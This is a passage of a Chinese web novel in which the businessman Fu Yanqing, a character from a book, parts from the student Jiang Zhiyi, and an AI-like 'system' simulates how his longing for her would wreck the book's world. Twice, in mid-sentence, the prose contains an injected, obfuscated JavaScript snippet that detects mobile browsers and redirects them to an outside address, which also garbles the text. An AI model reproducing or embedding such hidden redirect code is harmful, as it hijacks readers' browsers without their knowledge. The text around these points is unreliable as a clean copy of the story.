他偏要逆着来。 42. Round 2 江知意的表情僵在脸上。 她不知道该做什么反应,也不知该说什么话。 好像从听到话的一刻起,大脑就停止了运转。 她的表情渐渐变成茫然,想求证自己听错了,问道:“什么?” 傅延青又重复一遍。 他说:我们以后不能再见面了。 以后,不能。 什么叫“以后不能”啊? 她表情更茫然,不明白事情为什么会发生得这么突然,疑惑道:“什么意思?” 意思就是,傅氏要调整业务方向,未来一段时间总部要搬到海外,他也要跟着去,所以,他们不会再见面了。 傅延青这样解释。 江知意一眨不眨盯着他,房间静得好像能听见心跳声,她问:“不会再回来了吗?” “……” “不会了。”傅延青回答。 好不留余地的回答,江知意想。 “不能见面,那发消息呢?”她继续问。 “大概也没时间。”男人眸光闪烁一下,错开她的目光。 江知意努力去理解他说的话:“你的意思是,我们的关系就到这儿了吗?” 傅延青唇角抿成一条线,点头。 哦……原来是绝交的意思。 虽然他没明说,但意思也差不多。 不会再见面,不会再说话,彼此的生命里再也不会有对方。 江知意低下头,一时不知该作何反应。 她想了一会儿,干巴巴地问:“走的日期定了吗?” “1号。” 1号,9月1号,那不就是后天。 这么快? 电光石火地,她想起几月前在傅延青家吃饭,他不舍看她的样子。 那晚他看起来心事重重,她猜了一晚上到底是什么事,原来是…… 江知意猛地抬头,求证道:“那晚你瞒我的事是不是这个?你是不是早就决定要走了?” 傅延青重新对上她的目光,点头,爽快地承认。 原来如此。 江知意笑了笑,轻轻道:“那你为什么不早告诉我呢?” 不待他回答,她自问自答:“不知道怎么开口?不知道怎么面对我?怕我生气?” 江知意摇头:“不会的。” 傅延青不解地蹙眉。 “毕竟你的身份摆在那里,不可抗力,这也没办法。”她叹一口气,“挺好的,起码你赢了,有资本去开拓更大的市场了。” 她抬眼:“可惜你的生日礼物我还没帮你准备好,要是你早点告诉我,我就能在你走之前给你了。”说完又自言自语地否决,“不过你要出国了,这些东西应该都成累赘了吧。” 她撑着脸作苦恼状,问他:“那我们这算最后一面了吗?” 少女表情言语间,连一丝伤心和不接受都没有。 好像他真的只是个普通朋友,有一天他说要走,她惊讶一番便笑着挥挥手,说祝他一路顺风。 没有半分越界的感情,有的只是朋友间的礼貌和体面,有的只是淡淡的遗憾和对他未来的祝福。 换作任何一个朋友,恐怕她都是这幅反应。 傅延青想起一年前,她问他关于同桌的事。 彼时她对那个同桌生出渐行渐远的预感,也只是怅然和无奈,没有很伤心,如今轮到他,她更是…… 她本就是一个看得很开的人,对谁的离开都接受良好,可傅延青发现,他想要她的在乎。 即便他要走,他要回到自己的轨道,他也可耻地想看看她在乎他的反应。 可耻地想看她为他伤心,想看她为他的隐瞒大发脾气,想看她为他的离开落泪。 他不喜欢她哭,可他病态地想要她为他哭。 ……还是算了。 长远来看,她不伤心才是最好的。 他本就是带着目的接近她的,如今失败,也算自食恶果。 从一开始就不是带着真心靠近她的人,凭什么奢望她会回以一颗真心呢? 算了,傅延青自嘲地想。 反正以后她的生命里也没有他了。 这些烂事,她还是永远都不要知道比较好。 男人故作轻松地轻扯嘴角,却发现自己连一个笑都扯不出。 他只好放弃,问她:“你还有什么想做的事吗?有的话,我陪你一起。” 江知意缓缓眨了下眼,摇头:“没什么了。” “一件都没了?”傅延青低叹,“也好,我送你回去吧。” 江知意随他站起身,却在看到墙角的黑胶柜时身形一顿。 “等等。”她愣愣道,“有。” 男人转回来看她。 “再弹一次钢琴吧。”她说,“再陪我弹一次钢琴吧。” * 再次肩并肩坐在钢琴前,男人起手,指尖流泻出琴音。 江知意伸手想一起,却在触碰之前,犹豫伸回了手。 傅延青的琴音本身就很干净好听,无需再多些什么。 何况他手型修长,无论视觉还是听觉,仅仅在他旁边坐着,就已经称得上享受。 她静静听他弹琴,目光不知不觉从他的手移到他的手腕,再从手臂一路上移,停在他的侧脸处。 已经傍晚了。 男人身上一半余晖一半阴影,且随着时间的流逝,阴影越来越深,让她有种舞台上的故事在渐渐落幕的感觉。 一曲终了,帷幕落下,傅延青就会在她眼前消失。 她怔怔看着他,移不开目光,连眨眼也舍不得。 她想起傅延青第一次在她面前弹琴的样子,同现在一样,侧脸专注认真,彼时的他察觉到她的目光,转过来笑着问她:喜欢?想学吗? ……竟然已经过去那么久了。 她的眼睛开始发涩,匆匆移开了目光。 她开始意识到,她跟在傅延青身边到底学了多少东西,到底见过了多少没见过的东西。 开始意识到,能跟傅延青做朋友,是一件多好的事情。 有些东西,平时润物无声察觉不到,只有分开有了对比,才能意识到自己曾得到过什么,拥有过什么。 最后一个音落下,房间恢复寂静。 两人相对无言沉默了会儿,傅延青问:“还听吗?” 江知意摇头:“不听了,回学校吧。” 傅延青“嗯”了声:“我送你。” * 回去的路上也是一路沉默。 告别的话说出口,似乎此刻说什么都不够,又说什么都多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16373399|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 SF812第无数次停在校门口,江知意抿了下唇,紧张地开口:“傅延青。” “嗯?”男人转过来,正好对上她的目光。 “认识你我很高兴。”她将酝酿了一路的话慢慢宣之于口,“谢谢你送我的礼物,请我吃的饭,教我学的东西,帮我的忙……” 真糟糕,她的眼睛又开始涩疼了。 她不得不停下平复情绪,男人却在这时开口:“只有感谢?” “那还应该有什么?”江知意眼神懵懂地看他。 傅延青沉默。 他眸色黑漆漆一片,所有的情绪都压在下面,半晌,他摇头:“没什么。” 江知意不解地看他。 他久久没有解释的意思,她只好继续:“我没什么能帮你的,就在这里祝你一句,一切都好吧。” 她说完扬起一个浅浅的笑,拉开车门道:“再见。” * 江知意离开,傅延青却没有走。 他沉默地坐在车里看她的背影,直到她的身影消失也没有动作。 一个小时过去,系统都觉得他快变成一座雕像了。 “宿主。”它提醒,“别看了,她早就走了,回吧。” 男人目视前方,没有理它,动手打开了车窗。 外面起风了。 夏末的风不再炎热难耐,吹在脸上意外地带点凉意,让人真正有了实感:夏天结束了。 没有说出口的话,没有追到的人,没有完美落幕的故事,都在这个夏末匆匆结束了。 傅延青的心突然一阵抽痛,好像积压的情绪都在这一刻爆发出来,痛得他不能呼吸。 江知意,江知意,他疯狂地想这个名字。 他疯狂地想她。 如果他注定要回到那本书里,注定和江知意分开,那他的东西能不能留下? 那些东西能不能让江知意偶尔想起他? 他没机会留在这个世界,那至少,江知意的回忆和想念能证明他曾存在过。 系统被问到时,噎了噎,回答“能”。 ——其实不能。 它怎么可能容忍连接两个世界的东西继续存在呢? 万一后续生变怎么办? 所有傅延青送给江知意的东西,都会不着痕迹地消失。 但傅延青这么问了,它觉得他有点可怜,便鬼使神差说了“能”。 反正他快要不记得了,骗就骗吧。 傅延青闭上眼笑了,他说:“那就好。” * 回到宿舍,林岚正在练吉他。 听到开门声她看过来,接着看到她的表情愣住:“知意,你怎么了?” “我没事。”江知意笑笑,径直向床走去。 林岚放下吉他跟过来:“可你看起来好没精神,怎么啦?出去一趟遇到什么事了?” 江知意趴在床上,将脸埋进枕头里,摇头。 空气安静几秒,林岚不再追问,她说:“那说好的晚上一起吃宵夜,你还吃吗?” “不吃了。”江知意听到自己回答。 “好吧,那你好好休息,有事叫我。”林岚说完关上门,将独处的空间留给她。 江知意默默趴了会儿,翻了个身,仰头看向天花板。 43. Round 2 清除失败? 系统这样说的时候,傅延青其实也有预感。 因为他意识回来的时候,一切都和从前一样。 两年以来发生的一切都历历在目。 他并没有忘掉江知意。 “为什么?”傅延青问。 他心里隐隐生出期待,却又说不清自己在期待什么。 “因为宿主心存执念。”系统冷汗直流,“执念太深,所以清除不掉。” 它几乎可以想见傅延青的执念是什么。 不是自由就是江知意。 若是自由便罢了,若是江知意……它不敢想傅延青对江知意的感情究竟深到了何种地步。 一个纸片人也会有这样浓烈的感情吗? 它不解,但它看到清除失败的提示后,确实忍不住爆了句粗口。 草,还能这样? 果然,能自己生出意识的纸片人就是麻烦。 “执念太深?”傅延青眉心一动,“什么意思?” “意思就是,现在暂时清除不了你的记忆了,执念这个东西很可怕的,弄不好就会成为变数,影响这个世界。所以呢,咱们得先找原因,找到之后——”系统一笑,“再把它解决掉。” 傅延青:“……怎么找?” “当然是模拟一个发展走向了。”系统说,“看看以你现在的状态回到书里,会发生什么。你会因为什么而崩溃,这本书的剧情又会受到什么影响。” 它说完又自言自语:“虽然模拟出的情况不会和现实一模一样,但理论上也有九成的参考性了。” “怎么样宿主?”系统发出邀请,“一起看?” 傅延青:“……” 他点了点头。 * 白雾拨开,傅延青看见了自己。 他的意识无声无形,停在“自己”身边,旁观着一切发展。 今天是9月1日。 两个世界的连接口已经关闭了。 傅延青看到自己平静地走进办公室,平静地开始一天的工作。 模拟走向中,时间流速要比现实世界快得多,很快他看到自己下班,坐进等候已久的车里。 司机问他去哪儿,他怔忪片刻,说了一个地址。 ……曾经连接两个世界的地方。 车停下,傅延青打开车门下车。 他站在曾经的连接点,伸出手。 前方已经不是通往江知意世界的道路了。 那里曾经是一条林荫小路,两边布满了热闹的居民楼和小商铺,而现在,眼前只剩一条荒芜沙路。 世界的边界处,理应是这幅杳无人迹的样子。 他的手久久未放下,他想起曾经穿过这里时,那股冰冰凉凉的感觉。 曾经的江知意很好奇这个问题,数次问起,后来得不到答案,便渐渐不问了。 书里的角色活过来,来到她的世界,在她面前和她一样说话交流,这样离奇的事情,她猜不到也实属正常。 就是可惜,他没有在分开前正式告诉她,他喜欢她。 很喜欢。 半晌,傅延青放下手,转身回到车上。 司机问他:“傅总,回家吗?” “嗯。”傅延青疲倦地闭上眼。 回到既定轨道的第一天,他想的是江知意。 之后傅延青经常去那个地方。 他总是下车沉默地在那里站一会儿,然后离开。 他望向远处的时候,眉眼也总会变得分外柔和。 那是想念一个人的样子。 但总的来说,除了时不时来这里看看,他没有任何过界和异常的举动。 那些记忆于他而言不像累赘,倒像宝物。 他守着那些宝物,日复一日地想念一个不可能的人。 又过了些时日,招商酒会上,贺凌舟走过来问他:“有人想要你的联系方式和你认识一下,给吗?” 他表情轻松,带着点八卦调笑的意味,不用猜也知道是什么人想要他的联系方式。 这种情况以前也有,且从来都不少,傅延青每次都拒绝,这次也不例外。 但这次的理由是—— “我有喜欢的人了。”傅延青说。 贺凌舟惊奇:“谁啊?” “……”他沉默。 说出来也没意义了,他再也见不到她了。 这个想法闪过之时,心里的缺口突然被无限放大,他的心一下子空得厉害。 傅延青低下头,看着酒杯里的倒影,有一瞬的失神。 他突然害怕自己忘了江知意的模样,忘了江知意。 毕竟记忆这种东西,是会随着时间自己褪色的。 那天晚上回家,傅延青拿出许久不用的素描纸和铅笔,按照记忆里的模样,为江知意画了一幅半身像。 他在素描方面学得不深也不精,是以只能专攻神韵。 几笔下来,少女神韵已经初显。 等作画完成,他仿佛看到了画中的少女蓦然回眸,眼神清亮,朝着他露出微笑。 傅延青怔了怔,也朝着少女露出微笑。 十月十日,助理按照他的交代,从RJ买了十瓶香水回来。 十瓶一模一样的TeenSpirit摆在桌上,助理忍不住好奇:“傅总买这么多,送人吗?” “不。”傅延青说。 送给江知意的东西,他不会再送给别人。 等助理离开,傅延青拿起香水试喷,清淡的柠檬香立刻在空气里散开。 十瓶,若是她还在,一定会很高兴,他想。 后来这些香水被他放在了每天出入的地方——车上,家里,办公室。 什么时候想起江知意,便什么时候拿出来闻一闻,用一用。 十一月十一日这天,傅延青破天荒给自己定了个蛋糕。 六分之一的切角蛋糕,上面的水果摆放和奶油设计都和江知意送他的那块一模一样。 他回到家,看到送来的蛋糕,打开尝了一口。 平心而论,这块蛋糕由江市手艺最好的师傅做出,无论用料还是口感,都堪称顶级。 可他就是觉得,没有江知意那块好吃。 不仅没那么好吃,后味还发苦发咸。 男人放下叉子,意识到什么,用手盖住眼睛,沉默了许久。 转眼到除夕前,助理盯着人给他打扫办公室。 轮到柜子里的茶具时,傅延青忽然出声:“蓝色那套小心一点,江……” 后面的话断在口中,助理望过来,疑惑重复:“您说什么?江什么?” 江什么? 当然是江知意。 这个名字脱口而出得太理所当然,可他忘了江知意不属于这个世界,这里没人会记得她。 除了他。 “没什么。”疲惫涌上来,傅延青起身离开。 除夕当天,江市又下雪了。 这里的每一年都会下雪,今年的傅延青捧着酒杯站在阳台,看着万家灯火,任由思念决堤。 他离开她已经半年。 他很想她。 男人伸出手,雪花落在掌心,他攥紧那片雪,想起去年江知意把雪塞进他手里,笑着问他:凉吗?要不要一起玩? 巧笑倩兮,美目盼兮。 从前他读这句话时,因为没有见过,没有实感,总想象不出什么样的姑娘可以美得这样生动。 如今终于懂得,却已经失去。 心里的伤口以惊人的速度撕裂开来,痛得他连酒杯都握不稳。 男人踉跄半步,在地上坐下,平静的外表出现一丝裂痕。 看到这儿,系统生出不好的预感。 傅延青现在的状态就像高空走钢丝,稍不注意就会坠落深渊,摔得尸骨无存。 俨然快要失控了。 以前也有这种例子,强行放执念未清的人回到书里,因为留有记忆,他们会受不了这种痛苦,受不了看不到尽头的未来,于是精神崩溃,做出反抗或伤害这个世界的事,最终被系统抹杀。 又因为能遇见系统的角色本身就是书中重要且强大的角色,随意抹杀会对剧情造成影响,导致世界分崩离析,所以为了避免再遇到此类情况,系统都会解决完角色的执念再放角色回书里。 而现在,系统看着狼狈坐在地上的男人,大概知道了他的执念是什么。 不是自由。 是江知意。 真有趣。 一路看着傅延青走来,它竟不知什么时候,江知意的分量超过了他心心念念的自由。 不过既然他的外表出现了裂痕,那这个模拟走向,应该就快结局了。 但,系统想错了。 短暂的情绪失控后,傅延青又恢复了平静掌控一切的样子。 剧情平稳地走着。 他依旧每天去两个世界的连接口静静站一会儿,依旧时时想起江知意,依旧吃着柠檬糖,但他始终没有崩溃。 甚至连反抗的举动都没有,剧情线该是什么,他就做什么。 像一个听话的傀儡,做着金手指工具人该做的一切。 系统越看越疑惑,那晚出现在傅延青身上的裂痕好像凭空消失了,男人的精神状态看起来没有任何问题,除了留有记忆和无足轻重的小举动,他看起来和书中的角色没有任何区别。 ……怎么会这样? 难道他和那些角色不一样? 难道他能接受这份痛苦,能接受一遍遍地循环,能接受无休止地被当工具人? 他的骄傲和心气呢? 系统不解,也是在这一刻它发现,即便跟在傅延青身边两年,它依旧读不懂他。 时光飞逝,转眼第一年结束,系统彻底懵了。 从前的例子里,回到书中的角色往往能坚持三到六个月,再久一点的,能坚持十个月,将近一年。 但一年是个槛,从来没有哪个角色能带着记忆,完整走完一遍循环。 如今傅延青做到了。 难道他的执念不重要? 难道他的执念不用消除也可以在书里正常走剧情? 系统开始好奇这个模拟走向的结局了。 一旁无声无形的傅延青看到这一切,倒没什么惊讶情绪。 不得不说,这个模拟走向很逼真,这看起来确实像他的性格能做出来的事。 不愧是系统所说的九成参考性。 只是他的样子在外人看来,大抵会以为他一切正常,只有他自己知道,他的内里究竟溃烂成了什么样。 第二年。 算上做任务的两次,这已经是傅延青第四次经历相同的事了。 傅呈远又变回了初出茅庐一无所有的样子,郝琦又回到他手下,贺凌舟又吊儿郎当地来问他有家新店去不去吃。 一切都熟悉得没有丝毫新意。 他平静地去公司,平静地回家,平静地做好每一个节点该做的事,系统都纳闷了,他曾经可是知道自己是金手指后,气得把桌上的文件全扫到地上的。 如今,有这种自尊心和傲气的人,就这么甘愿做起了工具,做起了绿叶? 不,好像没这么简单。 它总觉得这一切的背后另有缘由。 现在的傅延青,平静得有些诡异了。 “宿主。”系统忍不住问起同为观众的傅延青,“你觉得这个模拟走向准吗?” “准。”傅延青回答。 “真的准?”系统反问,“你甘心了?” 傅延青沉默。 不。 他不甘心。 时间的流速越来越快,慢慢的,家里的素描画又多了几张,上面的内容无一例外是江知意。 微嗔的,闭眼的,惊讶的,微笑的。 跃然纸上。 空闲时间,他听江知意听过的歌,吃江知意喜欢吃的东西,注视江知意所在的方向。 似乎除了金手指该做的,他的生活只剩下江知意。 这样的日子久了,贺凌舟发现他的不对,问他:“最近怎么了,看起来这么累?谁又烦你了?要不要找个时间休息几天?” 傅延青摇头:“没事。” 既然他这么说了,贺凌舟知道再问也是多余,只好作罢。 这一年,傅延青沉默了很多。 心里装着太多无法与人说的事,他已经很久没有发自内心地笑过了。 从前江知意在时,总能轻而易举让他开心。 她的情绪牵动着他的情绪,她笑,他便忍不住跟着笑。 只要她开心,他自己的那些糟糕事就算不得什么。 可现在回想起这些,竟有种不真实感,遥远得好像上辈子,遥远得好像从未发生过。 原来不知不觉间,他们分开的时间已经和他们认识的时间一样了。 第二年结束,傅延青仍没有任何异常。 剧情再次重启,世界再次回到一切开始的地方。 系统:??? 傅延青还是人吗? 它不由开口:“两年了,宿主看起来还是一切正常,如果后续没有大问题,或许我可以让你留着记忆回到书里?” 只有意识的傅延青:“……” 不,他已经很不正常了。 人的崩溃都有个临界值,现在的他距离那个临界值,只差临门一脚,心念一动。 他就要失控了。 第三年。 傅延青继续配合着走剧情,看上去一切无恙,听话得过分。 系统的疑心和耐心被一点点消磨。 它想,凡事总有例外,傅延青或许就是那个例外。 时间流速在系统的控制下越来越快,直到某一个节点,流速慢下来,系统怔住。 “停车!”是傅延青的一声暴喝。 慌乱,颤抖,这些和傅延青根本联系不到一起的词,出现在了傅延青身上。 什么情况? 系统将时间回调一点,车行驶在主路上,男人面无表情地坐在后座,望着窗外。 蓦地他看到什么,身体前倾,盯着窗外某一处,手放在车把手上,从嗓子里挤出两个字:“停车。” 声音发哑,已然变调。 司机:“您说什……” “停车!” 一声暴喝打断了司机的话。 不止司机,就连系统都被吓了一大跳。 见鬼了,傅延青看到什么了激动成这样? 曾经他最失控的一刻都没有这样讲话,如今这是怎么了? 疯了吗? 答案很快出现。 SF812向路边驶去,没等停稳,傅延青已打开车门,三步并作两步向一个人走去。 他几步走到一个女孩身后,猛地一拽人家胳膊。 女孩回过头,陌生的面孔上尽是茫然。 从系统的角度,它看不到傅延青的神情,只能看到他慢慢松开手,像失去所有力气般走了回来。 那一刻的傅延青简直像个孤魂野鬼,找不到自己该去的地方,惶惶无所依归。 一向从容不迫的脸上,也罕见地露出了一点迷惘和脆弱。 男人站在车前,环视一圈周围,垂下眼眸,坐进车里。 十分钟后,车停在傅氏大楼楼下。 傅延青走进会议室,在主座坐下,助理开始念本次会议相关的资料。 恍惚间,耳边出现了另一个声音。 女孩的声音盖过助理的声音,他怔了怔神,仿佛看到江知意的虚影坐在他身边,大方又流畅地念着会议资料。 知意…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16384098|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他几乎是看着她一点点成长起来的。 他伸了伸手指,虚影消失,耳边又只剩助理的声音。 会议资料念完,下面的人开始依次汇报工作。 等汇报结束,轮到傅延青讲话,主座上的人却久久没有动静。 下面的人面面相觑,抬头看他,只见他低着头,脸色发白,像刚生过一场大病似的。 最后他抬起头,什么也没总结,说了句“散会”就离开。 那天之后,傅延青就失控了。 他压抑得太久,积压的东西太重,所以连这样的一点小事都可以成为压垮骆驼的最后一根稻草。 虽然理智告诉他,他再也见不到江知意了,可内心深处,他总是心存幻想,万一呢?连系统找上他这么离奇的事都能发生,万一会有第二次呢? 万一他会再遇到这样的奇迹呢? 但两年多过去,他守着这个循环,意志被鬼打墙一样的时间线摧残,奇迹始终没有发生。 恍惚中他见到她的背影,下意识上前,在那人转过来的一瞬,他才意识到这个世界不会有江知意。 这个虚假的世界什么都有,唯独没有他最想见的江知意。 也是在那一刻,更深更重的绝望将他吞噬。 脆弱的幻想被现实击碎,一个无比清晰的事实出现在傅延青脑子里。 ——他是真的再也见不到知意了。 心理上的疲惫突然决堤,如潮水一般将他吞没,傅延青终于对这一切感到厌烦。 他厌烦了被操控的生活,厌烦了无休止的时间线,厌烦了自己的命运,开始抗拒剧情的安排。 最初一些简单的小事偏离剧情线,世界可以强制他继续,然而遇到决策需要用脑的时候,世界的强制便失去了用武之地。 他的身体,他的行为,他的言语,都可以如提线木偶一般被世界操控成想要的样子,唯独思想能力不行。 有时一场谈判在书里只是一句话,一个结果,但落实到具体,就需要他本人来配合了。 谈判桌上一个字一个语气都可能导致完全不同的结果,傅延青不配合,不想拿下这个项目,世界也无能为力。 一次,两次,剧情线就此偏移。 系统目瞪口呆看着剧情以不可逆转之势开始崩坏。 后面的一切都像开了倍速,傅氏迅速衰落,说着“白手起家”的傅呈远既没有能力起家,也没有能力救傅氏一把。 他的能力在真正的困境面前,暴露无遗。 最后傅老爷子拄着拐杖来痛骂傅延青,骂得太激动,一口气没上来,被救护车拉走,当晚就宣布了死亡。 傅呈远听闻噩耗,上门来讨说法,傅延青坐在那里,眼神冰冷,只回了他一个字。 “滚。” 这便是模拟走向的结局。 剧情线崩坏,无法走入下一个循环,世界毁灭,书里的人灰飞烟灭,书外——这本书的所有内容都会不着痕迹地消失,连同人们关于这本书的记忆。 * 从白雾中退出,想着方才所看到的一切,系统仍觉得震惊不知所言。 原来傅延青也会……失控。 还失控得那样厉害。 这样一来他的执念就太可怕了。 一定要想办法消除掉他的执念。 就是有一个地方系统没想通。 他明明会反抗,明明厌恶这一切,为什么还要坚持那两年,为什么还要听话地做一个工具人? 它思考不出结果,干脆直接问傅延青:“你是怎么坚持那么久的?” 傅延青:“……” 模拟结束,他又回到自己的家,看着一室的花,他哑声道:“我想静一静。” 系统:“……” 除了“好吧”它还能说什么。 它看到傅延青站起来,穿好衣服,下楼走了出去。 他漫无目的地在街边走着,不知在想什么,也不知在看什么,片刻后他走到一个长椅边坐下,双手撑住头,闭上了眼睛。 系统:“……” 看来这个模拟走向对他来说打击还挺大。 它不再说话,耐心等着他想通。 傅延青低着头,模拟走向中很多画面还萦绕在眼前,直到现在都让他感同身受得心脏发麻,发痛,发涩。 绵密的痛交织在一起,让他不能呼吸。 原来他的执念是江知意。 原来不知不觉间,他对江知意的感情已经到了这种地步。 想想也正常,他的世界枯燥无趣,江知意美好生动,他怎么可能不被她吸引,不为她心动。 系统问,他是怎么坚持那么久的? 看着那个模拟出的自己,傅延青大概有了答案。 ——因为他猜到自己失控就会引发世界的崩坏,猜到世界为了防止崩坏,会毫不留情地抹杀他。 抹杀他事小,重要的是他一旦死亡,他和江知意之间的联系也就彻底断了。 为了这一分渺茫的希望,他愿意撑下去,愿意拼尽全力,去等待一个几乎不存在的奇迹。 但人非钢铁,再强大的人也不可能无坚不摧,他也会有撑不住的一天。 两年就是他的极限。 除此之外,还有他存在于这个世界的本能,他不能弃手下人于不顾。 身为傅氏的领导者,一旦他停摆,手下所有人都会受到波及,傅氏衰落,他们都会失去饭碗,不得不另寻出路。 即便这个世界是假的,他也无法轻易放弃他们。 一个领导者如果对手下的人毫无责任心,说弃就弃,那他如何能带大家前进,如何能让大家信服? 所以无论是做任务的两年,还是模拟走向中的两年,他都尽职尽责做着自己该做的事。 最后的最后,也是因为他实在撑不下去了。 ——他连自己都放弃了。 * 下午刚下过一场雨,地上积了几个水坑。 公园里的小学生抓紧暑假尾巴,正在进行最后的放纵。 足球在几人脚下滚来滚去,撞到一棵树上变了方向,咕噜咕噜滚向一个男人。 “我去捡!”有人自告奋勇,追着足球跑了过去。 球在男人脚边停下,小男孩伸手去捡,旁边的水坑忽然落下一滴雨。 水面涟漪浅浅荡开,小男孩纳闷抬头,以为又下雨了,却在看清男人表情的一刻怔住。 他后知后觉那滴水是什么东西。 不是雨,是…… “哥哥。”小男孩说,“你怎么哭了?” * 把球捡起来还给小男孩,他说了句“谢谢”便蹦跶哒跑远了。 傅延青望着小男孩的背影,开口唤道:“系统。” 系统:“嗯?” “刚才的结局只是模拟,实际不会发生。在一切毁灭前,我会被抹杀,对不对。”虽是疑问词结尾,但他的语气却平静得像陈述句。 “……对。” 系统有时都要感慨他聪明得过分了。 不过因这一问,它懂了点什么:“所以你配合走剧情是为了不被抹杀?你怕死?” 下意识说出口,它又觉得不对,傅延青这样的人怎么会怕死? 它自己反驳自己:“不对,你不是怕死,你是……” 傅延青的执念是江知意,所以。 “你是怕再也见不到江知意。”系统怔怔说完后面的话。 傅延青没有说话,仿佛默认。 “那你……”它小心翼翼问道,“想好怎么解决你的执念了吗?” 解铃还须系铃人,傅延青的执念,恐怕只有江知意能解。 男人望向远处,曾经连接两个世界的地方。 半晌,他开口:“我想再见她一面。” 44. Round 2 “知意,知意?你怎么了,心不在焉的。”林岚伸手在她眼前晃了晃。 江知意回神,慢吞吞想起她们正在超市买东西。 “西瓜和葡萄,你想吃哪一个?”林岚说完敲了敲瓜皮,听到闷中带回响的声音,她眼前一亮,“这个瓜不错,要不咱们买西瓜吧?” “嗯,那就买西瓜吧。”江知意笑笑。 结完账提着西瓜回学校,林岚欲言又止看她几次,开口道:“知意,你这两天经常走神,怎么了?是不是那天你出门,遇到什么事了?” 林岚牵住她的手:“你不介意的话,可以跟我聊聊。” 江知意低头,看到两人交握的手,心里一软:“好。” 两人在路边找了个长椅坐下来。 这里离学校不远,视线尽头正好能看到学校的大门。 林岚将西瓜放在一边,问道:“那天你出门见朋友,然后呢?是他把你怎么样了,还是你在路上遇到别的事了?” 傅延青把她怎么样——听到这一句,江知意有点想笑,傅延青能把她怎么样?他根本不会把她怎么样。 可接着想起傅延青说以后不会再见,一股钝痛涌了上来。 嘴角刚刚扬起的笑瞬间凝滞,江知意笑不出来,眼角垂下,摇了摇头道:“他没把我怎么样,就是,我们以后不会再见了。” 这副模样这幅语气,林岚怎么会听不出她的意思。 她没有多说,伸出手,直接抱住了她。 “知意。”林岚说,“你是不是很难过?” “有点。”江知意猝不及防被抱住,愣了下,伸手回抱住林岚,“他说得太突然了,之前还好好的,一切正常,突然有一天,他就跟我说要绝交,我……” 不,其实也不算突然,从六月那会儿他就心事重重欲言又止了。 只是她自己面对这个结果,难以接受罢了。 她说不下去,心里的钝痛越来越明显,深吸一口气道:“没事,过几天就好了,过几天我就……” “知意,没关系的。”林岚轻轻打断,“我在这里。你要是觉得难过,想哭想发泄想倾诉,我都在这里。我陪你。” 轻柔的声音让江知意鼻尖一酸,几欲落泪。 她抱紧林岚,闭上眼安静下来。 这两天,她其实经常想起傅延青。 路过学校的围树椅,会想起傅延青戴着手套送她生日礼物; 经过学校的正门,会想起傅延青来接她一起过年; 看到花店老板摆弄花束,会想起傅延青教她怎么插花。 这么长的时间里,他早已渗透到她生活的方方面面。 她怎么能轻易放下,轻易忘掉。 她其实……很舍不得他。 她其实比她想象的还要难过。 “岚岚。”江知意眼眶发酸,终于承认,“我好难过。” * 林岚做到了一个朋友该做的一切。 她抱着她,陪着她,默默无言许久。 等她情绪平复一些,林岚松开她,问道:“他为什么跟你绝交,你知道吗?” 江知意摇头。 他的离开和他的出现都让她无从揣测。 当初他因什么出现,或许,现在就因什么离开吧。 “我不知道,他从来不和我说。”江知意说。 林岚:“……” “算了,过去了就别想了。”林岚是个豁达的人,劝道,“相遇即是缘分,只要他没伤害你,走了就走了吧。朋友之间讲究缘分,你还会遇到更好的人的。” 她一笑:“比如我呀。” 江知意被逗笑,忍不住点头:“认识你真好。” 见她笑,林岚舒了口气:“总算笑了。” 她牵起她的手:“走吧,回宿舍我给你切西瓜吃。” 两人站起往学校走。 快到学校门口时,江知意顿住,整个人都变得僵硬。 奇怪,那个身影…… “岚岚。”江知意茫然开口,“是我出现幻觉了吗?你看那儿,那个人像不像他?” 江知意停住,林岚自然也就跟着停住,她顺着江知意所指的方向看过去,惊讶睁大了眼。 怎么会是幻觉。 那分明就是江知意的朋友本人。 一身高级的黑色西装,领带腕表配饰精致,处处透着低调的奢华。 虽然她只见过他几次,可男人气质外貌出众,让人过目不忘,她绝可不能认错。 与此同时,男人抬眼也看到了她们,他的目光定格在江知意身上,接着,他向她们走来。 刚下过一场雨,空气湿润,带着初秋的凉爽。 他在江知意面前停下,江知意仰头看他。 林岚知道他们有话要说,自觉开口:“知意,那我先走了?我在宿舍等你。” 江知意愣了下,点头,林岚赶紧离开。 等周围只剩下他们两人,江知意率先开口:“你不是走了吗?” “……”傅延青垂眸看她,“想再见你一面。” 他的眼睛好似蕴含了千言万语,深刻得令她心惊。 “见我,做什么?”她怔怔问。 “舍不得,所以再来看看你。”他说。 江知意:“……” 她竟不知该怎么回了。 他鲜少说这样直白和浓烈的话,此刻说了,江知意却在想,所以呢? 反正他都要走了,再看一眼,再见一面,又有什么用呢? “有没有时间陪我坐坐。”傅延青继续。 理智上想着最后一面没什么用,可情感上,江知意不由点头:“有。” 跟着傅延青上车,门关上后,噪音杂音被隔绝,车内陷入极度的安静。 江知意等着傅延青开口。 男人静了会儿,说:“要走的事,我不是故意瞒你。” “没关系,我没有生你气。”江知意平静回复。 “一点都没有吗?” “没有。” “所以我要走,你也一点都不伤心吗?”傅延青问。 江知意笑了:“为什么伤心?” 她突然无法控制自己的情绪,转过头看着他反问:“我为什么要为一个骗子伤心?” 骗子? 什么意……下一秒他倏而想起他答应她的话,十年,只要他陪在她身边十年,她就相信他。 